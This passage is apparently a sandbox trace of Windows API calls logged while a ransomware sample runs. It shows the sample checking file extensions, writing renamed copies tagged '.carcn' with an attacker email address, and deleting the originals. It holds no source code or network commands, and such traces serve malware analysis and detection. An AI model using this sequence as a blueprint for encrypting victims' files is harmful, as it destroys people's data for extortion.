(lpString=".7z") returned 3 [0159.168] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString=".dbf") returned 4 [0159.168] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString=".1cd") returned 4 [0159.168] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString=".jpg") returned 4 [0159.168] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.168] lstrlenW (lpString=".doc") returned 4 [0159.168] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString=".docx") returned 5 [0159.168] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.168] lstrlenW (lpString=".pdf") returned 4 [0159.168] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString=".xls") returned 4 [0159.168] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString=".xlsx") returned 5 [0159.168] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.168] lstrlenW (lpString=".ppt") returned 4 [0159.168] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.168] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.169] lstrlenW (lpString=".zip") returned 4 [0159.169] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.169] lstrlenW (lpString=".rar") returned 4 [0159.169] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.169] lstrlenW (lpString=".bz2") returned 4 [0159.169] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.169] lstrlenW (lpString=".7z") returned 3 [0159.169] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.169] lstrlenW (lpString=".dbf") returned 4 [0159.169] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.169] lstrlenW (lpString=".1cd") returned 4 [0159.169] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.169] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0159.169] lstrlenW (lpString=".jpg") returned 4 [0159.169] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.169] lstrcmpiW (lpString1=".xml", lpString2=".carcn") returned 1 [0159.169] lstrlenW (lpString="LocalizedData.xml") returned 17 [0159.169] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0159.169] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=77748) returned 1 [0159.169] CloseHandle (hObject=0x310) returned 1 [0159.170] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0159.170] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0159.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0159.170] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.170] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.170] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0159.170] GetLastError () returned 0x0 [0159.170] ReadFile (in: hFile=0x310, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0159.288] WriteFile (in: hFile=0x314, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0159.289] ReadFile (in: hFile=0x310, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0159.289] WriteFile (in: hFile=0x314, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xf6, lpOverlapped=0x0) returned 1 [0159.290] SetEndOfFile (hFile=0x314) returned 1 [0159.290] CloseHandle (hObject=0x314) returned 1 [0159.291] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0159.291] SetEndOfFile (hFile=0x310) returned 1 [0159.292] CloseHandle (hObject=0x310) returned 1 [0159.293] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0159.293] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0159.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.293] lstrlenW (lpString=".doc") returned 4 [0159.293] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.293] lstrlenW (lpString=".docx") returned 5 [0159.293] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.293] lstrlenW (lpString=".pdf") returned 4 [0159.293] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.293] lstrlenW (lpString=".xls") returned 4 [0159.293] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.293] lstrlenW (lpString=".xlsx") returned 5 [0159.293] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.293] lstrlenW (lpString=".ppt") returned 4 [0159.293] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.293] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.293] lstrlenW (lpString=".zip") returned 4 [0159.293] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.293] lstrlenW (lpString=".rar") returned 4 [0159.293] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.293] lstrlenW (lpString=".bz2") returned 4 [0159.294] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".7z") returned 3 [0159.294] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString=".dbf") returned 4 [0159.294] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString=".1cd") returned 4 [0159.294] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString=".jpg") returned 4 [0159.294] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString=".doc") returned 4 [0159.294] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".docx") returned 5 [0159.294] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0159.294] lstrlenW (lpString=".pdf") returned 4 [0159.294] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".xls") returned 4 [0159.294] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".xlsx") returned 5 [0159.294] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0159.294] lstrlenW (lpString=".ppt") returned 4 [0159.294] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.294] lstrlenW (lpString=".zip") returned 4 [0159.294] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0159.294] lstrlenW (lpString=".rar") returned 4 [0159.294] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".bz2") returned 4 [0159.294] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0159.294] lstrlenW (lpString=".7z") returned 3 [0159.295] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0159.295] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.295] lstrlenW (lpString=".dbf") returned 4 [0159.295] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0159.295] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.295] lstrlenW (lpString=".1cd") returned 4 [0159.295] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0159.295] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0159.295] lstrlenW (lpString=".jpg") returned 4 [0159.295] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0159.295] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0159.295] lstrlenW (lpString="eula.rtf") returned 8 [0159.295] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0159.863] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=3188) returned 1 [0159.863] CloseHandle (hObject=0x2f8) returned 1 [0159.863] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 0x80 [0159.864] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.104] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.104] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.104] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0160.606] GetLastError () returned 0x0 [0160.606] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0xc74, lpOverlapped=0x0) returned 1 [0160.904] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xc80, lpOverlapped=0x0) returned 1 [0160.905] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0160.905] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0160.905] SetEndOfFile (hFile=0x2e0) returned 1 [0160.905] CloseHandle (hObject=0x2e0) returned 1 [0160.905] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.905] SetEndOfFile (hFile=0x2fc) returned 1 [0160.906] CloseHandle (hObject=0x2fc) returned 1 [0160.907] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0160.907] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1033\\eula.rtf")) returned 1 [0160.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.907] lstrlenW (lpString=".doc") returned 4 [0160.907] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0160.907] lstrlenW (lpString=".docx") returned 5 [0160.907] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0160.907] lstrlenW (lpString=".pdf") returned 4 [0160.907] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0160.907] lstrlenW (lpString=".xls") returned 4 [0160.907] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0160.907] lstrlenW (lpString=".xlsx") returned 5 [0160.907] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0160.907] lstrlenW (lpString=".ppt") returned 4 [0160.907] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0160.907] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.907] lstrlenW (lpString=".zip") returned 4 [0160.907] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0160.908] lstrlenW (lpString=".rar") returned 4 [0160.908] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString=".bz2") returned 4 [0160.908] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString=".7z") returned 3 [0160.908] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString=".dbf") returned 4 [0160.908] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString=".1cd") returned 4 [0160.908] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString=".jpg") returned 4 [0160.908] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString=".doc") returned 4 [0160.908] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString=".docx") returned 5 [0160.908] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0160.908] lstrlenW (lpString=".pdf") returned 4 [0160.908] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString=".xls") returned 4 [0160.908] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0160.908] lstrlenW (lpString=".xlsx") returned 5 [0160.908] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0160.908] lstrlenW (lpString=".ppt") returned 4 [0160.908] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0160.908] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.908] lstrlenW (lpString=".zip") returned 4 [0160.908] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0160.908] lstrlenW (lpString=".rar") returned 4 [0160.908] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0160.909] lstrlenW (lpString=".bz2") returned 4 [0160.909] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0160.909] lstrlenW (lpString=".7z") returned 3 [0160.909] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0160.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.909] lstrlenW (lpString=".dbf") returned 4 [0160.909] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0160.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.909] lstrlenW (lpString=".1cd") returned 4 [0160.909] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0160.909] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\eula.rtf") returned 35 [0160.909] lstrlenW (lpString=".jpg") returned 4 [0160.909] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0160.909] lstrcmpiW (lpString1=".rtf", lpString2=".carcn") returned 1 [0160.909] lstrlenW (lpString="eula.rtf") returned 8 [0160.909] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.909] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=6851) returned 1 [0160.909] CloseHandle (hObject=0x2fc) returned 1 [0160.909] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80 [0160.909] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0160.909] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0160.910] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.910] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0160.910] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0160.910] GetLastError () returned 0x0 [0160.910] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x1ac3, lpOverlapped=0x0) returned 1 [0161.000] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0x1ad0, lpOverlapped=0x0) returned 1 [0161.000] ReadFile (in: hFile=0x2fc, lpBuffer=0x4019020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x362fecc, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesRead=0x362fecc*=0x0, lpOverlapped=0x0) returned 1 [0161.001] WriteFile (in: hFile=0x2e0, lpBuffer=0x4019020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x362fc94, lpOverlapped=0x0 | out: lpBuffer=0x4019020*, lpNumberOfBytesWritten=0x362fc94*=0xe4, lpOverlapped=0x0) returned 1 [0161.001] SetEndOfFile (hFile=0x2e0) returned 1 [0161.001] CloseHandle (hObject=0x2e0) returned 1 [0161.001] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x362fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.001] SetEndOfFile (hFile=0x2fc) returned 1 [0161.002] CloseHandle (hObject=0x2fc) returned 1 [0161.002] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x80) returned 1 [0161.002] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1 [0161.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.003] lstrlenW (lpString=".doc") returned 4 [0161.003] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString=".docx") returned 5 [0161.003] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.003] lstrlenW (lpString=".pdf") returned 4 [0161.003] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString=".xls") returned 4 [0161.003] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.003] lstrlenW (lpString=".xlsx") returned 5 [0161.003] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.003] lstrlenW (lpString=".ppt") returned 4 [0161.003] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.003] lstrlenW (lpString=".zip") returned 4 [0161.003] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.003] lstrlenW (lpString=".rar") returned 4 [0161.003] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString=".bz2") returned 4 [0161.003] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString=".7z") returned 3 [0161.003] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.003] lstrlenW (lpString=".dbf") returned 4 [0161.003] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.003] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.003] lstrlenW (lpString=".1cd") returned 4 [0161.004] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.004] lstrlenW (lpString=".jpg") returned 4 [0161.004] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.004] lstrlenW (lpString=".doc") returned 4 [0161.004] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0161.004] lstrlenW (lpString=".docx") returned 5 [0161.004] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0161.004] lstrlenW (lpString=".pdf") returned 4 [0161.004] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0161.004] lstrlenW (lpString=".xls") returned 4 [0161.004] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0161.004] lstrlenW (lpString=".xlsx") returned 5 [0161.004] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0161.004] lstrlenW (lpString=".ppt") returned 4 [0161.004] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0161.004] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.005] lstrlenW (lpString=".zip") returned 4 [0161.005] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0161.005] lstrlenW (lpString=".rar") returned 4 [0161.005] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0161.005] lstrlenW (lpString=".bz2") returned 4 [0161.005] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0161.005] lstrlenW (lpString=".7z") returned 3 [0161.005] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0161.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.005] lstrlenW (lpString=".dbf") returned 4 [0161.005] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0161.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.005] lstrlenW (lpString=".1cd") returned 4 [0161.005] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0161.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35 [0161.005] lstrlenW (lpString=".jpg") returned 4 [0161.005] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0161.005] 